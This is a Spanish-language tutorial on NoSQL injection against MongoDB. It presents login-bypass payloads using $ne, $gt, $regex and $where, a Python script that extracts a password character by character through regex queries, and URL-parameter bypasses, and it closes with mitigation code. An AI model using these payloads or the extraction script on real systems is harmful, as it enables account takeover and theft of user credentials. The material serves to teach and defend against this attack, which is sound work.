¿Qué es NoSQL Injection?
A diferencia de SQL, las bases de datos NoSQL como MongoDB no usan queries en formato texto. En su lugar, usan objetos JavaScript/JSON que pueden ser manipulados para alterar la lógica de las consultas.
Diferencia clave con SQL Injection
- SQL: Inyectas strings como
' OR '1'='1 - NoSQL: Inyectas objetos como
{"$ne": null}
Muchos developers creen que al usar MongoDB están "protegidos" de injection, pero esto es unmito peligroso.
1. Login Bypass con Operadores
Escenario Vulnerable
Una API que recibe credenciales en JSON y las pasa directamente a MongoDB:
// API endpoint vulnerable
app.post('/api/login', async (req, res) => {
const { username, password } = req.body;
// ❌ PELIGRO: Pasa directamente el input del usuario
const user = await db.collection('users').findOne({
username: username,
password: password
});
if (user) {
res.json({ success: true, token: generateToken(user) });
} else {
res.json({ success: false });
}
});¿Por qué es vulnerable?
Payload de Ataque: Operador $ne (Not Equal)
En lugar de enviar strings normales, enviamos objetos con operadores de MongoDB:
// Request normal (legítimo)
POST /api/login HTTP/1.1
Content-Type: application/json
{
"username": "admin",
"password": "secretpass123"
}
// Request malicioso (ataque)
POST /api/login HTTP/1.1
Content-Type: application/json
{
"username": "admin",
"password": {"$ne": null}
}🔓 ¿Cómo funciona?
El payload {"$ne": null} se traduce a:
// Query resultante en MongoDB
db.collection('users').findOne({
username: "admin",
password: { $ne: null } // ← "password NOT EQUAL a null"
});
// Esto significa: "Dame el usuario 'admin' cuya contraseña NO sea null"
// ¡Y prácticamente TODAS las contraseñas cumplen esa condición!Resultado: Login exitoso sin conocer la contraseña real.
Otros Operadores Útiles para Bypass
// $gt (greater than) - Mayor que
{
"username": "admin",
"password": {"$gt": ""}
}
// $regex - Expresión regular que coincide con todo
{
"username": "admin",
"password": {"$regex": ".*"}
}
// $in - Password está en un array (siempre true)
{
"username": "admin",
"password": {"$in": ["admin", "password", "123456", "", null]}
}
// $exists - Campo password existe
{
"username": "admin",
"password": {"$exists": true}
}Payload más sigiloso
$gt con string vacío es menos sospechoso en logs que $ne null, porque parece una comparación "normal".2. Extracción de Datos con $regex
Escenario: Exfiltrar Contraseñas Carácter por Carácter
Usando expresiones regulares, podemos extraer datos bit a bit, similar a Time-blind SQL Injection pero basado en respuestas booleanas.
// ¿La contraseña del admin empieza con 'a'?
{
"username": "admin",
"password": {"$regex": "^a"}
}
// ¿Empieza con 'b'?
{
"username": "admin",
"password": {"$regex": "^b"}
}
// ... Continuar hasta encontrar el carácter correctoScript de Automatización (Python)
import requests
import string
URL = "https://target.com/api/login"
CHARSET = string.ascii_lowercase + string.digits + "_@.-!#$%"
PASSWORD = ""
print("[+] Iniciando extracción de password del usuario 'admin'...")
# Extraer cada carácter
while True:
found = False
for char in CHARSET:
# Construir regex para probar el siguiente carácter
regex = f"^{PASSWORD}{char}"
payload = {
"username": "admin",
"password": {"$regex": regex}
}
r = requests.post(URL, json=payload)
# Si el login es exitoso, encontramos el carácter
if r.json().get("success"):
PASSWORD += char
print(f"[+] Char encontrado: {char} → Password actual: {PASSWORD}")
found = True
break
# Si no se encontró ningún carácter más, terminamos
if not found:
break
print(f"\n[✓] Password completa extraída: {PASSWORD}")Optimización: Regex case-insensitive
$options con valor i para hacer la búsqueda case-insensitive y acelerar el proceso.Extracción de Múltiples Usuarios
// Usuarios que empiezan con 'a'
{
"username": {"$regex": "^a"},
"password": {"$ne": null}
}
// Usuarios de 5 caracteres exactos
{
"username": {"$regex": "^.{5}$"},
"password": {"$ne": null}
}
// Usuarios que contienen 'admin'
{
"username": {"$regex": "admin", "$options": "i"},
"password": {"$ne": null}
}3. Operadores Avanzados
$where - JavaScript Injection
El operador $where permite ejecutar código JavaScript arbitrarioen el contexto del servidor MongoDB. Extremadamente peligroso si no está filtrado.
// Bypass de login con código JavaScript
{
"username": "admin",
"$where": "return true"
}
// Extraer contraseña carácter por carácter
{
"username": "admin",
"$where": "this.password.substring(0,1) == 'p'"
}
// Sleep-based (Time-blind NoSQL)
{
"username": "admin",
"$where": "sleep(5000) || true"
}Impacto crítico
$where puedes:- Ejecutar JavaScript arbitrario en el servidor
- Acceder a
this(el documento actual) - Causar DoS con loops infinitos
- Exfiltrar datos sensibles
$lookup - Server-Side Join Injection
// Intentar unir con la colección 'admin_keys'
{
"$lookup": {
"from": "admin_keys",
"localField": "_id",
"foreignField": "user_id",
"as": "secrets"
}
}$expr - Comparaciones Complejas
// Bypass cuando username == password
{
"$expr": {
"$eq": ["$username", "$password"]
}
}
// Detectar documentos con campos específicos
{
"$expr": {
"$gt": [{"$strLenCP": "$password"}, 10]
}
}4. Bypass de Validaciones Comunes
Bypass de Type Checking
Algunos developers validan "si es string", pero olvidan validar objetos anidados:
// Intento de validación (INSUFICIENTE)
if (typeof username === 'string' && typeof password === 'string') {
const user = await db.collection('users').findOne({
username: username,
password: password
});
}
// ❌ Problema: No valida OBJETOS como {"$ne": null}// Nested object injection
{
"username": "admin",
"password": {
"$ne": null
}
}
// El typeof password será 'object', pero algunos frameworks
// lo convierten automáticamente antes del checkBypass vía URL Parameters
GET /api/login?username=admin&password[$ne]=null HTTP/1.1
// Algunos frameworks parsean esto como:
{
"username": "admin",
"password": {
"$ne": null
}
}Frameworks vulnerables
qs library (por defecto) parseapassword[$ne]=null como un objeto.Mitigación para Developers
Cómo prevenir NoSQL Injection
- Input Sanitization: Rechaza objetos, solo acepta strings/numbers primitivos
- Whitelist Validation: Valida que NO contengan caracteres $ (operadores)
- Type Checking Estricto: Verifica tipos recursivamente en objetos anidados
- Deshabilitar $where: Configurar MongoDB para bloquear operador $where
- Hash Passwords: NUNCA comparar passwords en plaintext, usar bcrypt/argon2
const validator = require('validator');
app.post('/api/login', async (req, res) => {
const { username, password } = req.body;
// ✅ Validar que son strings primitivos
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input type' });
}
// ✅ Rechazar caracteres $ (operadores de MongoDB)
if (username.includes('$') || password.includes('$')) {
return res.status(400).json({ error: 'Invalid characters' });
}
// ✅ Validar formato (opcional pero recomendado)
if (!validator.isAlphanumeric(username)) {
return res.status(400).json({ error: 'Invalid username format' });
}
// ✅ Comparar con hash, NO plaintext
const user = await db.collection('users').findOne({ username });
if (user && await bcrypt.compare(password, user.passwordHash)) {
res.json({ success: true, token: generateToken(user) });
} else {
res.json({ success: false });
}
});// Helper para sanitizar inputs de MongoDB
function sanitizeMongoInput(obj) {
if (typeof obj !== 'object' || obj === null) {
return obj;
}
const sanitized = {};
for (const [key, value] of Object.entries(obj)) {
// Rechazar keys que empiecen con $ (operadores)
if (key.startsWith('$')) {
throw new Error(`Invalid key: ${key}`);
}
// Sanitizar recursivamente
if (typeof value === 'object' && value !== null) {
sanitized[key] = sanitizeMongoInput(value);
} else {
sanitized[key] = value;
}
}
return sanitized;
}
// Uso
app.post('/api/data', async (req, res) => {
try {
const sanitized = sanitizeMongoInput(req.body);
const result = await db.collection('data').find(sanitized).toArray();
res.json(result);
} catch (error) {
res.status(400).json({ error: error.message });
}
});